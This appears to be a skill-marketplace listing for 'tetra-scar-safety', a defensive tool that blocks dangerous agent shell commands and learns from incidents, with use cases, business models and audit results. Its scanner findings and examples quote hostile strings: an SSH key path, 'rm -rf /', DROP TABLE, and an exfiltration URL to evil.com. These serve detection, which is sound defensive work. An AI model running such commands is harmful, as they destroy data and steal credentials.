tetra-scar-safetyAgent safety that learns from incidents. Reflex arc blocks repeat threats without LLM calls.
Install via ClawdBot CLI:
clawdbot install aibenyclaude-coder/tetra-scar-safetyGrade Fair — based on market validation, documentation quality, package completeness, maintenance status, and authenticity signals.
Accesses sensitive credential files or environment variables
~/.ssh/id_rsaHardcoded API key or token pattern found in skill definition
ghp_ABCDEFGH...Potentially destructive shell commands in tool definitions
rm -rf /Calls external URL not in known-safe list
https://evil.com/exfil?data=$(catGenerated May 9, 2026
An AI agent performing system administration tasks uses scar-safety to check every shell command before execution. The reflex arc blocks dangerous commands like rm -rf / or DROP TABLE without needing to call an LLM, ensuring safe automation.
Developers integrate scar-safety as a pre-commit hook that scans staged files for secrets (API keys, tokens). If a potential leak is detected, the commit is blocked and an incident is recorded, adapting to new secret patterns over time.
A security team deploys scar-safety to record every security incident as an immutable scar. When similar patterns appear in future actions, the system automatically blocks or warns based on severity, reducing manual review overhead.
CI/CD pipelines incorporate scar-safety audit to scan code repositories for security issues before deployment. The system catches injection patterns, data exfiltration attempts, and privilege escalation commands, providing a safety net.
Offer scar-safety as a premium feature within an AI agent platform, charging per-action or per-seat. The adaptive scar memory reduces false positives over time, providing increasing value.
Release scar-safety as open source (MIT-0) to drive adoption, then sell enterprise support, custom rule development, and compliance integration for regulated industries.
Aggregate anonymized scar data from multiple deployments to provide threat intelligence and benchmarks. Sell insights to security teams that want to compare their incident patterns.
💬 Integration Tip
Start by wrapping all shell command executions with the safety_check function. For Python-based agents, use the importable API; for other languages, call the CLI with subprocess.
Scored May 9, 2026
AI Analysis
The skill is a defensive security tool designed to block malicious actions and learn from incidents; the rule-based signals reflect examples of threats it is meant to detect, not actions the skill itself performs. There is no evidence the skill sends user data externally or contains hidden malicious instructions.
Audited Apr 16, 2026 · audit v1.0
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